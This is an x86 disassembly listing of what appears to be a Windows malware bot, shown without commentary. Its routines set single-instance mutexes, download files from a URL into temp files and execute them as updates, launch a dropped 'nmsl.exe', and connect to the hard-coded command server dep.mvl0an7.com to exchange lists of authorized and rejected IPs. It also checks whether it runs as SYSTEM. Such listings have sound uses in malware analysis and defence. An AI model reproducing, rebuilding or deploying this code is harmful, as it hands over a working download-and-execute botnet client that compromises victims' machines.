		mov	dword_411018, eax
		cmp	dword_411018, 0
		jz	short loc_444ABF
		call	dword_411CEC	; RtlGetLastWin32Error
		cmp	eax, 0B7h
		jnz	short loc_444ABF
		xor	ebx, ebx
		inc	ebx
		push	dword_411018
		call	dword_411CFC	; CloseHandle
		and	dword_411018, 0


loc_444ABF:				; CODE XREF: sub_444A6F+2Bj
					; sub_444A6F+38j
		mov	eax, ebx


loc_444AC1:				; CODE XREF: sub_444A6F+Cj
		pop	ebx
		retn
sub_444A6F	endp


; =============== S U B	R O U T	I N E =======================================



sub_444AC3	proc near		; CODE XREF: DMN1:loc_445455p
					; DMN1:004454FAp ...
		push	ebx
		push	esi
		xor	esi, esi
		push	offset a__win32__nmsl_ ; "__win32__nmsl_sdm__"
		push	0
		push	100000h
		call	dword_411D10	; OpenMutexA
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_444AEB
		xor	esi, esi
		inc	esi
		push	ebx
		call	dword_411CFC	; CloseHandle
		xor	ebx, ebx


loc_444AEB:				; CODE XREF: sub_444AC3+1Aj
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_444AC3	endp


; =============== S U B	R O U T	I N E =======================================



sub_444AF0	proc near		; CODE XREF: sub_447EEC+C5p
		cmp	dword_411018, 0
		jz	short locret_444B0C
		push	dword_411018
		call	dword_411CFC	; CloseHandle
		and	dword_411018, 0

locret_444B0C:				; CODE XREF: sub_444AF0+7j
		retn
sub_444AF0	endp

; ---------------------------------------------------------------------------
		push	ebx
		cmp	dword_41101C, 0
		jz	short loc_444B1B
		xor	eax, eax
		jmp	short loc_444B5F
; ---------------------------------------------------------------------------


loc_444B1B:				; CODE XREF: DMN1:00444B15j
		xor	ebx, ebx
		push	offset a_win32__nmsl_s ; "_win32__nmsl_sm__"
		push	0
		push	0
		call	dword_411D0C	; CreateMutexA
		mov	dword_41101C, eax
		cmp	dword_41101C, 0
		jz	short loc_444B5D
		call	dword_411CEC	; RtlGetLastWin32Error
		cmp	eax, 0B7h
		jnz	short loc_444B5D
		xor	ebx, ebx
		inc	ebx
		push	dword_41101C
		call	dword_411CFC	; CloseHandle
		and	dword_41101C, 0


loc_444B5D:				; CODE XREF: DMN1:00444B38j
					; DMN1:00444B45j
		mov	eax, ebx


loc_444B5F:				; CODE XREF: DMN1:00444B19j
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_444B61	proc near		; CODE XREF: DMN1:00447C89p
					; DMN1:loc_447E13p
		push	ebx
		push	esi
		xor	esi, esi
		push	offset a_win32__nmsl_s ; "_win32__nmsl_sm__"
		push	0
		push	100000h
		call	dword_411D10	; OpenMutexA
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_444B89
		xor	esi, esi
		inc	esi
		push	ebx
		call	dword_411CFC	; CloseHandle
		xor	ebx, ebx


loc_444B89:				; CODE XREF: sub_444B61+1Aj
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_444B61	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_444B8E	proc near		; CODE XREF: DMN1:00444F73p
					; sub_447EEC+FBp ...

var_854		= dword	ptr -854h
var_850		= dword	ptr -850h
var_844		= byte ptr -844h
var_44		= dword	ptr -44h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 854h
		push	ebx
		push	esi
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_C]
		test	esi, esi
		jz	short loc_444BA6
		and	dword ptr [esi], 0


loc_444BA6:				; CODE XREF: sub_444B8E+13j
		push	44h
		push	0
		lea	eax, [ebp+var_44]
		push	eax
		call	sub_448DCB
		add	esp, 0Ch
		mov	[ebp+var_44], 44h
		test	ebx, ebx
		jz	short loc_444BD6
		push	offset asc_40EDC3 ; "\""
		lea	eax, [ebp+var_844]
		push	eax
		call	sub_448E6B
		pop	ecx
		pop	ecx
		jmp	short loc_444BDD
; ---------------------------------------------------------------------------


loc_444BD6:				; CODE XREF: sub_444B8E+31j
		mov	[ebp+var_844], 0


loc_444BDD:				; CODE XREF: sub_444B8E+46j
		cmp	[ebp+arg_0], 0
		jz	short loc_444BF6
		push	[ebp+arg_0]
		lea	eax, [ebp+var_844]
		push	eax
		call	sub_448E8B
		pop	ecx
		pop	ecx
		jmp	short loc_444C09
; ---------------------------------------------------------------------------


loc_444BF6:				; CODE XREF: sub_444B8E+53j
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe"
		lea	eax, [ebp+var_844]
		push	eax
		call	sub_448E8B
		pop	ecx
		pop	ecx


loc_444C09:				; CODE XREF: sub_444B8E+66j
		test	ebx, ebx
		jz	short loc_444C20
		push	offset asc_40EDC3 ; "\""
		lea	eax, [ebp+var_844]
		push	eax
		call	sub_448E8B
		pop	ecx
		pop	ecx


loc_444C20:				; CODE XREF: sub_444B8E+7Dj
		cmp	[ebp+arg_4], 0
		jz	short loc_444C4A
		push	offset asc_40EDA4 ; " "
		lea	eax, [ebp+var_844]
		push	eax
		call	sub_448E8B
		pop	ecx
		pop	ecx
		push	[ebp+arg_4]
		lea	eax, [ebp+var_844]
		push	eax
		call	sub_448E8B
		pop	ecx
		pop	ecx


loc_444C4A:				; CODE XREF: sub_444B8E+96j
		lea	eax, [ebp+var_854]
		push	eax
		lea	eax, [ebp+var_44]
		push	eax
		push	0
		push	0
		push	0
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_844]
		push	eax
		push	0
		call	dword_411D14	; CreateProcessA
		test	eax, eax
		jz	short loc_444C9D
		push	[ebp+var_850]
		call	dword_411CFC	; CloseHandle
		test	esi, esi
		jz	short loc_444C8E
		mov	eax, [ebp+var_854]
		mov	[esi], eax
		jmp	short loc_444C9A
; ---------------------------------------------------------------------------


loc_444C8E:				; CODE XREF: sub_444B8E+F4j
		push	[ebp+var_854]
		call	dword_411CFC	; CloseHandle


loc_444C9A:				; CODE XREF: sub_444B8E+FEj
		xor	eax, eax
		inc	eax


loc_444C9D:				; CODE XREF: sub_444B8E+E4j
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_444B8E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_444CA3	proc near		; CODE XREF: DMN1:00444E6Ap

var_408		= dword	ptr -408h
var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 408h
		push	ebx
		push	esi
		push	edi
		push	0
		push	0
		push	0
		push	1
		push	offset aMsdownloader ; "msdownloader"
		call	dword_411EF4	; InternetOpenA
		mov	edi, eax
		push	edi
		push	offset aInternetopenI ;	"InternetOpen(): %i\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		test	edi, edi
		jnz	short loc_444CDC
		xor	eax, eax
		jmp	loc_444DFE
; ---------------------------------------------------------------------------


loc_444CDC:				; CODE XREF: sub_444CA3+30j
		push	0
		push	80080300h
		push	0
		push	0
		push	[ebp+arg_0]
		push	edi
		call	dword_411EF8	; InternetOpenUrlA
		mov	ebx, eax
		push	edi
		push	offset aInternetopenur ; "InternetOpenUrl(): %i\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		test	ebx, ebx
		jnz	short loc_444D12
		push	edi
		call	dword_411EFC	; InternetCloseHandle
		xor	eax, eax
		jmp	loc_444DFE
; ---------------------------------------------------------------------------


loc_444D12:				; CODE XREF: sub_444CA3+5Fj
		push	offset aWb_0	; "wb"
		push	[ebp+arg_4]
		call	sub_448AFB
		pop	ecx
		pop	ecx
		mov	esi, eax
		test	esi, esi
		jnz	short loc_444D4B
		push	[ebp+arg_4]
		push	offset aFopenS___ ; "fopen(%s)...\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_411EFC	; InternetCloseHandle
		push	edi
		call	dword_411EFC	; InternetCloseHandle
		xor	eax, eax
		jmp	loc_444DFE
; ---------------------------------------------------------------------------


loc_444D4B:				; CODE XREF: sub_444CA3+82j
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	offset aDownloadingSS ;	"downloading [%s] --> %s\r\n"
		call	nullsub_4
		add	esp, 0Ch
		push	0
		call	dword_411D18	; RtlRestoreLastWin32Error
		jmp	short loc_444D83
; ---------------------------------------------------------------------------


loc_444D68:				; CODE XREF: sub_444CA3+F9j
		cmp	[ebp+var_4], 0
		jz	short loc_444D9E
		push	esi
		push	1
		push	[ebp+var_4]
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_448F5B
		add	esp, 10h


loc_444D83:				; CODE XREF: sub_444CA3+C3j
		lea	eax, [ebp+var_4]
		push	eax
		push	3FFh
		lea	eax, [ebp+var_404]
		push	eax
		push	ebx
		call	dword_411F00	; InternetReadFile
		test	eax, eax
		jnz	short loc_444D68


loc_444D9E:				; CODE XREF: sub_444CA3+C9j
		call	dword_411CEC	; RtlGetLastWin32Error
		mov	[ebp+var_408], eax
		push	esi
		call	sub_448D5B
		pop	ecx
		push	ebx
		call	dword_411EFC	; InternetCloseHandle
		push	edi
		call	dword_411EFC	; InternetCloseHandle
		cmp	[ebp+var_408], 0
		jz	short loc_444DE8
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	offset aDownloadedFail ; "downloaded failed: [%s] --> %s\r\n"
		call	nullsub_4
		add	esp, 0Ch
		push	[ebp+arg_4]
		call	dword_411D1C	; DeleteFileA
		xor	eax, eax
		jmp	short loc_444DFE
; ---------------------------------------------------------------------------


loc_444DE8:				; CODE XREF: sub_444CA3+123j
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	offset aDownloadedSS ; "downloaded [%s]	--> %s\r\n"
		call	nullsub_4
		add	esp, 0Ch
		xor	eax, eax
		inc	eax


loc_444DFE:				; CODE XREF: sub_444CA3+34j
					; sub_444CA3+6Aj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_444CA3	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 3400h
		call	sub_448F2B
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+8]
		mov	byte ptr [ebp-2400h], 0
		mov	byte ptr [ebp-1000h], 0
		mov	esi, ebx
		push	esi
		push	offset aUpdateUrlS ; "UPDATE URL: <%s>\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		lea	eax, [ebp-3400h]
		push	eax
		push	0FFFh
		call	dword_411D20	; GetTempPathA
		lea	eax, [ebp-2400h]
		push	eax
		push	0
		push	offset aMsss	; "msss"
		lea	eax, [ebp-3400h]
		push	eax
		call	dword_411D24	; GetTempFileNameA
		lea	eax, [ebp-2400h]
		push	eax
		push	esi
		call	sub_444CA3
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_444F8C
		lea	eax, [ebp-2400h]
		push	eax
		push	offset aDownloadedToS ;	"downloaded to:	<%s>\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		lea	eax, [ebp-3400h]
		push	eax
		push	0FFFh
		call	dword_411D20	; GetTempPathA
		lea	eax, [ebp-1000h]
		push	eax
		push	0
		push	offset aMsssx	; "msssx"
		lea	eax, [ebp-3400h]
		push	eax
		call	dword_411D24	; GetTempFileNameA
		mov	edi, dword_4128A8
		push	0
		lea	eax, [ebp-1000h]
		push	eax
		push	edi
		call	dword_411D28	; CopyFileA
		test	eax, eax
		jz	loc_444F8C
		push	80h
		lea	eax, [ebp-1000h]
		push	eax
		call	dword_411D2C	; SetFileAttributesA
		push	offset aUpdate	; "*update \""
		lea	eax, [ebp-1400h]
		push	eax
		call	sub_448E6B
		pop	ecx
		pop	ecx
		lea	eax, [ebp-2400h]
		push	eax
		lea	eax, [ebp-1400h]
		push	eax
		call	sub_448E8B
		pop	ecx
		pop	ecx
		push	offset asc_40ECC7 ; "\"	\""
		lea	eax, [ebp-1400h]
		push	eax
		call	sub_448E8B
		pop	ecx
		pop	ecx
		push	edi
		lea	eax, [ebp-1400h]
		push	eax
		call	sub_448E8B
		pop	ecx
		pop	ecx
		push	offset asc_40EDC3 ; "\""
		lea	eax, [ebp-1400h]
		push	eax
		call	sub_448E8B
		pop	ecx
		pop	ecx
		lea	eax, [ebp-1400h]
		push	eax
		lea	eax, [ebp-1000h]
		push	eax
		push	offset aRunningSS___ ; "running	%s (%s)...\r\n"
		call	nullsub_4
		add	esp, 0Ch
		push	0
		push	1
		lea	eax, [ebp-1400h]
		push	eax
		lea	eax, [ebp-1000h]
		push	eax
		call	sub_444B8E
		add	esp, 10h
		test	eax, eax
		jz	short loc_444F8C


loc_444F7F:				; CODE XREF: DMN1:00444F8Aj
		push	1770h
		call	dword_411D04	; Sleep
		jmp	short loc_444F7F
; ---------------------------------------------------------------------------


loc_444F8C:				; CODE XREF: DMN1:00444E73j
					; DMN1:00444ED1j ...
		push	0
		push	offset dword_411014
		call	dword_411D08	; InterlockedExchange
		lea	eax, [ebp-2400h]
		push	eax
		call	sub_448E4B
		pop	ecx
		test	eax, eax
		jz	short loc_444FB7
		lea	eax, [ebp-2400h]
		push	eax
		call	dword_411D1C	; DeleteFileA


loc_444FB7:				; CODE XREF: DMN1:00444FA8j
		lea	eax, [ebp-1000h]
		push	eax
		call	sub_448E4B
		pop	ecx
		test	eax, eax
		jz	short loc_444FD5
		lea	eax, [ebp-1000h]
		push	eax
		call	dword_411D1C	; DeleteFileA


loc_444FD5:				; CODE XREF: DMN1:00444FC6j
		push	ebx
		call	sub_4424E1
		pop	ecx
		call	sub_44919B
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_444FE9	proc near		; CODE XREF: DMN1:loc_44527Fp
		xor	ecx, ecx
		mov	eax, ecx
		retn
sub_444FE9	endp


; =============== S U B	R O U T	I N E =======================================



sub_444FEE	proc near		; CODE XREF: DMN1:004451E5p
					; DMN1:004451F7p
		xor	eax, eax
		retn
sub_444FEE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_444FF1	proc near		; CODE XREF: DMN1:00445370p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	esi
		mov	ebx, [ebp+arg_4]
		xor	esi, esi
		push	offset dword_412860
		call	dword_411CD0	; RtlEnterCriticalSection
		cmp	[ebp+arg_8], 0
		jnz	short loc_445019
		push	dword_412938
		call	sub_443406
		pop	ecx


loc_445019:				; CODE XREF: sub_444FF1+1Aj
		mov	esi, [ebp+arg_0]
		mov	eax, ebx
		mov	ecx, 4
		cdq
		idiv	ecx
		mov	ebx, eax
		jmp	short loc_445061
; ---------------------------------------------------------------------------


loc_44502A:				; CODE XREF: sub_444FF1+72j
		push	0
		push	dword ptr [esi]
		push	dword_412938
		call	sub_4434B4
		add	esp, 0Ch
		mov	eax, [esi]
		mov	[ebp+var_4], eax
		push	eax
		call	sub_44851B	; inet_ntoa
		push	eax
		mov	eax, dword_412938
		push	dword ptr [eax+8]
		push	offset aAuthorizedIpIS ; "authorized IP	#%i [%s]\n"
		call	nullsub_4
		add	esp, 0Ch
		dec	ebx
		add	esi, 4


loc_445061:				; CODE XREF: sub_444FF1+37j
		test	ebx, ebx
		jg	short loc_44502A
		push	offset dword_412860
		call	dword_411CD4	; RtlLeaveCriticalSection
		xor	eax, eax
		inc	eax
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_444FF1	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	edi
		mov	ecx, [esp+0Ch]
		mov	ebx, [esp+10h]
		xor	edi, edi
		jmp	short loc_445093
; ---------------------------------------------------------------------------


loc_445087:				; CODE XREF: DMN1:0044509Dj
		mov	eax, [ebx+4]
		mov	[ecx], eax
		mov	ebx, [ebx+8]
		add	ecx, 4
		inc	edi


loc_445093:				; CODE XREF: DMN1:00445085j
		cmp	edi, 4000h
		jge	short loc_44509F
		test	ebx, ebx
		jnz	short loc_445087


loc_44509F:				; CODE XREF: DMN1:00445099j
		mov	edx, [esp+14h]
		mov	[edx], edi
		mov	eax, ebx
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		push	offset dword_412860
		call	dword_411CD0	; RtlEnterCriticalSection
		push	dword_412938
		call	sub_443406
		pop	ecx
		push	offset dword_412860
		call	dword_411CD4	; RtlLeaveCriticalSection
		push	offset aDep_mvl0an7_co ; "dep.mvl0an7.com"
		call	sub_442C29
		pop	ecx
		mov	[ebp-14h], eax
		test	eax, eax
		jz	short loc_4450F2
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4450F2
		test	eax, eax
		jnz	short loc_4450F7


loc_4450F2:				; CODE XREF: DMN1:004450E5j
					; DMN1:004450ECj
		jmp	loc_445424
; ---------------------------------------------------------------------------


loc_4450F7:				; CODE XREF: DMN1:004450F0j
		mov	word ptr [ebp-16h], 247Fh
		xor	esi, esi
		and	dword ptr [ebp-0Ch], 0
		push	0
		push	offset dword_411024
		call	dword_411D08	; InterlockedExchange
		cmp	dword_411004, 0
		jnz	short loc_445135
		movzx	eax, word ptr dword_41100C
		push	eax
		movzx	eax, word ptr dword_411010
		push	eax
		call	sub_443847
		pop	ecx
		pop	ecx
		mov	dword_411004, eax


loc_445135:				; CODE XREF: DMN1:00445117j
		movzx	eax, word ptr dword_41100C
		push	eax
		movzx	eax, word ptr dword_411010
		push	eax
		call	sub_4438B4
		pop	ecx
		pop	ecx
		push	dword_411010
		push	offset aMyPortI	; "my port [%i]\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		mov	eax, [ebp-14h]
		mov	[ebp-1Ch], eax
		push	eax
		call	sub_44851B	; inet_ntoa
		mov	[ebp-20h], eax
		movzx	eax, word ptr [ebp-16h]
		push	eax
		push	dword ptr [ebp-20h]
		push	offset aSrvSI	; "SRV:	[%s:%i]\n"
		call	nullsub_4
		add	esp, 0Ch
		and	dword ptr [ebp-10h], 0
		call	sub_4427C4
		mov	[ebp-10h], eax
		test	eax, eax
		jz	loc_445424
		push	dword ptr [ebp-10h]
		call	sub_442E2E
		pop	ecx
		mov	esi, eax
		push	offset aSrvConnecting_ ; "SRV: connecting...\n"
		call	nullsub_4
		pop	ecx
		movzx	eax, word ptr [ebp-16h]
		push	eax
		push	dword ptr [ebp-14h]
		push	dword ptr [ebp-10h]
		call	sub_4429D2
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4451D3
		push	offset aSrvConnectingF ; "SRV: connecting failed.\n"
		call	nullsub_4
		pop	ecx
		jmp	loc_445424
; ---------------------------------------------------------------------------


loc_4451D3:				; CODE XREF: DMN1:004451C1j
		push	offset aSrvHandshaki_0 ; "SRV: handshaking...\n"
		call	nullsub_4
		pop	ecx
		mov	dword ptr [ebp-24h], 1000h
		call	sub_444FEE
		push	eax
		push	offset aSrvRip?I ; "SRV: rip? %i\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		call	sub_444FEE
		test	eax, eax
		jz	short loc_445204
		or	dword ptr [ebp-24h], 1


loc_445204:				; CODE XREF: DMN1:004451FEj
		push	dword ptr [ebp-24h]
		movzx	eax, word ptr dword_411010
		push	eax
		push	esi
		call	sub_4431E1
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_44522C
		push	offset aSrvHandshaking ; "SRV: handshaking failed.\n"
		call	nullsub_4
		pop	ecx
		jmp	loc_445424
; ---------------------------------------------------------------------------


loc_44522C:				; CODE XREF: DMN1:0044521Aj
		push	offset byte_40EBED
		call	nullsub_4
		pop	ecx
		push	esi
		call	sub_4433BC
		pop	ecx
		mov	[ebp-8], eax
		test	eax, eax
		jz	short loc_445255
		push	offset aSrvAckHandshac ; "SRV: ACK handshacking	failed\n"
		call	nullsub_4
		pop	ecx
		jmp	loc_445424
; ---------------------------------------------------------------------------


loc_445255:				; CODE XREF: DMN1:00445243j
		test	byte ptr [ebp-24h], 1
		jz	loc_44530C
		push	offset aSrvSendingReje ; "* SRV: sending rejected IPs\n"
		call	nullsub_4
		pop	ecx
		push	10004h
		call	sub_4424B3
		pop	ecx
		mov	[ebp-30h], eax
		mov	[ebp-2Ch], eax
		and	dword ptr [ebp-28h], 0


loc_44527F:				; CODE XREF: DMN1:004452A2j
		call	sub_444FE9
		mov	edi, eax
		test	edi, edi
		jz	short loc_4452A4
		mov	edx, [ebp-2Ch]
		mov	[edx], edi
		mov	eax, [ebp-2Ch]
		add	eax, 4
		mov	[ebp-2Ch], eax
		inc	dword ptr [ebp-28h]
		cmp	dword ptr [ebp-28h], 3FFFh
		jl	short loc_44527F


loc_4452A4:				; CODE XREF: DMN1:00445288j
		mov	eax, [ebp-28h]
		add	eax, eax
		add	eax, eax
		push	eax
		push	dword ptr [ebp-30h]
		push	100h
		push	esi
		call	sub_442FFA
		add	esp, 10h
		test	eax, eax
		jnz	short loc_4452DA
		push	dword ptr [ebp-30h]
		call	sub_4424E1
		pop	ecx
		push	offset sub_40EB90
		call	nullsub_4
		pop	ecx
		jmp	loc_445424
; ---------------------------------------------------------------------------


loc_4452DA:				; CODE XREF: DMN1:004452BFj
		push	dword ptr [ebp-30h]
		call	sub_4424E1
		pop	ecx
		push	offset aSrvAckRejected ; "SRV: ACK rejected IPs\n"
		call	nullsub_4
		pop	ecx
		push	esi
		call	sub_4433BC
		pop	ecx
		mov	[ebp-8], eax
		test	eax, eax
		jz	short loc_44530C
		push	offset aSrvAckReject_0 ; "SRV: ACK rejected IPs	failed\n"
		call	nullsub_4
		pop	ecx
		jmp	loc_445424
; ---------------------------------------------------------------------------


loc_44530C:				; CODE XREF: DMN1:00445259j
					; DMN1:004452FAj ...
		push	0FFFFh
		push	0
		lea	eax, [ebp-2]
		push	eax
		push	esi
		call	sub_4431C6
		add	esp, 10h
		mov	ebx, eax
		test	ebx, ebx
		jl	loc_445424
		movzx	eax, word ptr [ebp-2]
		mov	[ebp-28h], eax
		cmp	eax, 200h
		jz	short loc_44534B
		cmp	eax, 201h
		jz	short loc_44538C
		cmp	eax, 202h
		jz	short loc_44535B
		jmp	loc_44541F
; ---------------------------------------------------------------------------


loc_44534B:				; CODE XREF: DMN1:00445336j
		push	offset byte_40EB51
		call	nullsub_4
		pop	ecx
		jmp	loc_445424
; ---------------------------------------------------------------------------


loc_44535B:				; CODE XREF: DMN1:00445344j
		push	offset dword_40EB44
		call	nullsub_4
		pop	ecx
		push	dword ptr [ebp-0Ch]
		push	ebx
		push	dword ptr [esi+470h]
		call	sub_444FF1
		add	esp, 0Ch
		test	eax, eax
		jz	loc_44541F
		mov	dword ptr [ebp-0Ch], 1
		jmp	loc_44541F
; ---------------------------------------------------------------------------


loc_44538C:				; CODE XREF: DMN1:0044533Dj
		test	ebx, ebx
		jnz	short loc_445399
		mov	edx, [esi+470h]
		mov	byte ptr [edx],	0


loc_445399:				; CODE XREF: DMN1:0044538Ej
		push	dword ptr [esi+470h]
		push	offset sub_40EB31
		call	nullsub_4
		pop	ecx
		pop	ecx
		test	ebx, ebx
		jz	short loc_44541F
		push	dword ptr [esi+470h]
		call	sub_448E4B
		pop	ecx
		test	eax, eax
		jz	short loc_44541F
		push	0
		push	offset dword_411014
		call	dword_411D30	; InterlockedExchangeAdd
		test	eax, eax
		jnz	short loc_44541F
		push	1
		push	offset dword_411014
		call	dword_411D08	; InterlockedExchange
		push	10000h
		call	sub_4424B3
		pop	ecx
		mov	[ebp-2Ch], eax
		push	dword ptr [esi+470h]
		push	dword ptr [ebp-2Ch]
		call	sub_448E6B
		pop	ecx
		pop	ecx
		push	offset sub_40EB17
		call	nullsub_4
		pop	ecx
		push	dword ptr [ebp-2Ch]
		push	0
		push	offset sub_40399A
		call	sub_44910B
		add	esp, 0Ch
		push	eax
		call	dword_411CFC	; CloseHandle


loc_44541F:				; CODE XREF: DMN1:00445346j
					; DMN1:0044537Aj ...
		jmp	loc_44530C
; ---------------------------------------------------------------------------


loc_445424:				; CODE XREF: DMN1:loc_4450F2j
					; DMN1:00445190j ...
		test	esi, esi
		jz	short loc_44542F
		push	esi
		call	sub_442EA6
		pop	ecx


loc_44542F:				; CODE XREF: DMN1:00445426j
		cmp	dword ptr [ebp-10h], 0
		jz	short loc_44543E
		push	dword ptr [ebp-10h]
		call	sub_44292D
		pop	ecx


loc_44543E:				; CODE XREF: DMN1:00445433j
		push	offset aSrvcommthreadD ; "SrvCommThread: done\n"
		call	nullsub_4
		pop	ecx
		call	sub_44919B
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_445455:				; CODE XREF: DMN1:00445476j
		call	sub_444AC3
		test	eax, eax
		jz	short loc_44546B
		call	sub_446867
		push	0
		call	dword_411D34	; ExitProcess


loc_44546B:				; CODE XREF: DMN1:0044545Cj
		push	3E8h
		call	dword_411D04	; Sleep
		jmp	short loc_445455
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	esi
		push	edi
		and	dword ptr [ebp-4], 0


loc_445484:				; CODE XREF: DMN1:0044551Dj
		push	0
		push	0
		push	offset sub_403C3F
		call	sub_44910B
		add	esp, 0Ch
		mov	esi, eax
		push	0FFFFFFFFh
		mov	eax, esi
		push	eax
		call	dword_411D38	; WaitForSingleObject
		mov	eax, esi
		push	eax
		call	dword_411CFC	; CloseHandle
		cmp	dword_411034, 0
		jz	short loc_445522
		lea	eax, [ebp-4]
		push	eax
		call	sub_44246C
		pop	ecx
		mov	ecx, 3Ch
		cdq
		idiv	ecx
		lea	eax, [edx+6EAh]
		mov	edi, eax
		push	edi
		push	offset aSrvWaitingISec ; "Srv: waiting %i seconds...\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		mov	ebx, edi
		jmp	short loc_445505
; ---------------------------------------------------------------------------


loc_4454DF:				; CODE XREF: DMN1:00445507j
		push	ebx
		push	offset aISecondsLeft_ ;	"\r%i seconds left   \b\b\b."
		call	nullsub_4
		pop	ecx
		pop	ecx
		push	7D0h
		call	dword_411D04	; Sleep
		sub	ebx, 2
		call	sub_444AC3
		test	eax, eax
		jz	short loc_445505
		xor	ebx, ebx


loc_445505:				; CODE XREF: DMN1:004454DDj
					; DMN1:00445501j
		test	ebx, ebx
		jg	short loc_4454DF
		push	offset asc_40EAB5 ; "\r			     \r"
		call	nullsub_4
		pop	ecx
		cmp	dword_411034, 0
		jz	short loc_445522
		jmp	loc_445484
; ---------------------------------------------------------------------------


loc_445522:				; CODE XREF: DMN1:004454B2j
					; DMN1:0044551Bj
		call	sub_44919B
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44552E	proc near		; CODE XREF: sub_447EEC+3DFp
					; sub_447EEC+488p ...

var_44		= dword	ptr -44h
var_40		= byte ptr -40h
var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		sub	esp, 44h
		mov	[ebp+var_44], 3Fh
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	dword_411E44	; GetUserNameA
		test	eax, eax
		jz	short loc_445575
		cmp	[ebp+var_44], 6
		jnb	short loc_445557
		xor	eax, eax
		jmp	short loc_445575
; ---------------------------------------------------------------------------


loc_445557:				; CODE XREF: sub_44552E+23j
		mov	[ebp+var_1], 0
		lea	eax, [ebp+var_40]
		push	eax
		push	offset aSystem	; "SYSTEM"
		call	dword_411D3C	; lstrcmpi
		test	eax, eax
		jz	short loc_445572
		xor	eax, eax
		jmp	short loc_445575
; ---------------------------------------------------------------------------


loc_445572:				; CODE XREF: sub_44552E+3Ej
		xor	eax, eax
		inc	eax


loc_445575:				; CODE XREF: sub_44552E+1Dj
					; sub_44552E+27j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_44552E	endp


; =============== S U B	R O U T	I N E =======================================



sub_445579	proc near		; CODE XREF: sub_4472C4+1p
					; DMN1:loc_447454p ...
		push	ebx
		cmp	dword_411028, 0
		jz	short loc_445587
		xor	eax, eax
		jmp	short loc_4455CB
; ---------------------------------------------------------------------------


loc_445587:				; CODE XREF: sub_445579+8j
		xor	ebx, ebx
		push	offset a_win32__nmsl_u ; "_win32__nmsl_um__"
		push	0
		push	0
		call	dword_411D0C	; CreateMutexA
		mov	dword_411028, eax
		cmp	dword_411028, 0
		jz	short loc_4455C9
		call	dword_411CEC	; RtlGetLastWin32Error
		cmp	eax, 0B7h
		jnz	short loc_4455C9
		xor	ebx, ebx
		inc	ebx
		push	dword_411028
		call	dword_411CFC	; CloseHandle
		and	dword_411028, 0


loc_4455C9:				; CODE XREF: sub_445579+2Bj
					; sub_445579+38j
		mov	eax, ebx


loc_4455CB:				; CODE XREF: sub_445579+Cj
		pop	ebx
		retn
sub_445579	endp


; =============== S U B	R O U T	I N E =======================================



sub_4455CD	proc near		; CODE XREF: sub_4472C4+3Dp
					; DMN1:00447438p ...
		cmp	dword_411028, 0
		jz	short locret_4455E9
		push	dword_411028
		call	dword_411CFC	; CloseHandle
		and	dword_411028, 0

locret_4455E9:				; CODE XREF: sub_4455CD+7j
		retn
sub_4455CD	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+8]
		mov	[ebp-418h], eax
		mov	eax, [eax+8]
		mov	[ebp-4], eax
		xor	edi, edi
